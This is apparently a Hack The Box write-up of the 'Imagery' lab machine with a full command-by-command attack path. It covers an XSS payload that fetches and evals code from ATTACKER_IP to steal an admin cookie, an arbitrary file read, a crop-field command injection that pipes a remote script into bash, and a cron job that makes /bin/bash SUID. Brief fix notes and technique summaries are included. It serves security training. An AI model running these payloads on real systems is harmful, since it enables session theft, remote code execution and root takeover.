Imagery
Summary
I registered a normal Image Gallery account, planted stored XSS in the unsanitized admin bug-report details field, and stole the admin@imagery.htb session cookie when the review bot rendered the report. That cookie unlocked /admin/get_system_log as an arbitrary file read, leaking db.json (MD5 password hashes) and api_edit.py (ImageMagick convert with shell=True for the testuser account). Rockyou cracked testuser to the password.
Crop-parameter injection as testuser executed as OS user web, planted an SSH key, and yielded user.txt <withheld>. A second MD5 from the app/backup DB cracked mark to the password. Mark has NOPASSWD sudo /usr/local/bin/charcol; after charcol reset, auto add installed a root cron that copied root.txt and set the SUID bit on /bin/bash.
Bash -p read root.txt <withheld>. HTB accepted both flags.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered>"Some commands also carry a value in angle brackets — <png-id> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 2
Confirm SSH and the gallery HTTP port.
$ nmap -sC -sV -p22,8000 $TARGETUnauthenticated session state.
$ curl -ksS -i http://$TARGET:8000/auth_statusExact commands 2
Create the throwaway gallery account.
$ curl -ksS -i -H 'Content-Type: application/json' -X POST --data-binary '{"username":"'"$USERNAME"'@imagery.com","password":"'"$PASSWORD"'"}' http://$TARGET:8000/registerSave the Flask session cookie.
$ curl -ksS -i -c /tmp/img.cj -H 'Content-Type: application/json' -X POST --data-binary '{"username":"'"$USERNAME"'@imagery.com","password":"'"$PASSWORD"'"}' http://$TARGET:8000/loginFixSanitize every bug-report field and HttpOnly the session cookieCritical
Exact commands 3
Must bind the HTB tun IP, not 127.0.0.1.
$ python3 -m http.server 8081 --bind $ATTACKER_IP --directory .P.js exfils document.cookie and then calls admin LFI.
$ curl -ksS -b /tmp/img.cj -H 'Content-Type: application/json' -X POST --data-binary '{"bugName":"loader","bugDetails":"<img src=x onerror=\"fetch('http://$ATTACKER_IP:8081/p.js').then(r=>r.text()).then(eval)\">"}' http://$TARGET:8000/report_bugConfirm isAdmin=true with the stolen session.
$ curl -ksS -b /tmp/admin.cj http://$TARGET:8000/auth_statusExact commands 3
Download the user database.
$ curl -ksS -b /tmp/admin.cj -o db.json "http://$TARGET:8000/admin/get_system_log?log_identifier=/proc/self/cwd/db.json"Confirm crop is shell=True for testuser.
$ curl -ksS -b /tmp/admin.cj -o api_edit.py "http://$TARGET:8000/admin/get_system_log?log_identifier=/proc/self/cwd/api_edit.py"Authenticate as the privileged test account.
$ curl -ksS -i -c /tmp/tu.cj -H 'Content-Type: application/json' -X POST --data-binary '{"username":"testuser@imagery.htb","password":"'"$PASSWORD3"'"}' http://$TARGET:8000/loginFixConstrain get_system_log to a log directoryCritical
Exact commands 3
Unencrypted key for the web account.
$ ssh-keygen -t ed25519 -f web_id -N ''S2.sh writes the public key into ~web/.ssh/authorized_keys.
$ curl -ksS -b /tmp/tu.cj -H 'Content-Type: application/json' -X POST --data-binary '{"imageId":"<png-id>","transformType":"crop","params":{"x":"0","y":"0","width":"1;curl -sS http://'"$ATTACKER_IP"':8081/s2.sh|bash #","height":"1"}}' http://$TARGET:8000/apply_visual_transformUser.txt = <withheld>
$ ssh -i web_id -o BatchMode=yes -o StrictHostKeyChecking=no web@$TARGET 'id; cat /home/web/user.txt'FixStop passing crop geometry through a shellCritical
Exact commands 4
Run over ssh -i web_id web@$TARGET.
$ python3 -c "import pexpect,sys; c=pexpect.spawn('su - mark -c \"sudo -n -l; id\"',timeout=8); c.expect('Password:'); c.sendline('$PASSWORD2'); c.expect(pexpect.EOF); sys.stdout.buffer.write(c.before)"As mark; confirm with the password. Clears /root/.charcol/.charcol_config.
$ sudo /usr/local/bin/charcol resetThen: auto add --schedule "* * * * *" --command "cp /root/root.txt /tmp/root.txt; chmod 644 /tmp/root.txt; chmod u+s /bin/bash" --name pwn
$ sudo /usr/local/bin/charcol shellRoot.txt = <withheld>
$ sleep 45; ls -la /bin/bash /tmp/root.txt; /bin/bash -p -c 'id; cat /root/root.txt'FixRemove unrestricted Charcol automation under sudoCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Local File InclusionWebT1190
What it is
A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.
Why it works
The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 8000/tcp | http Werkzeug httpd 3.1.3 (Python 3.12.7) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.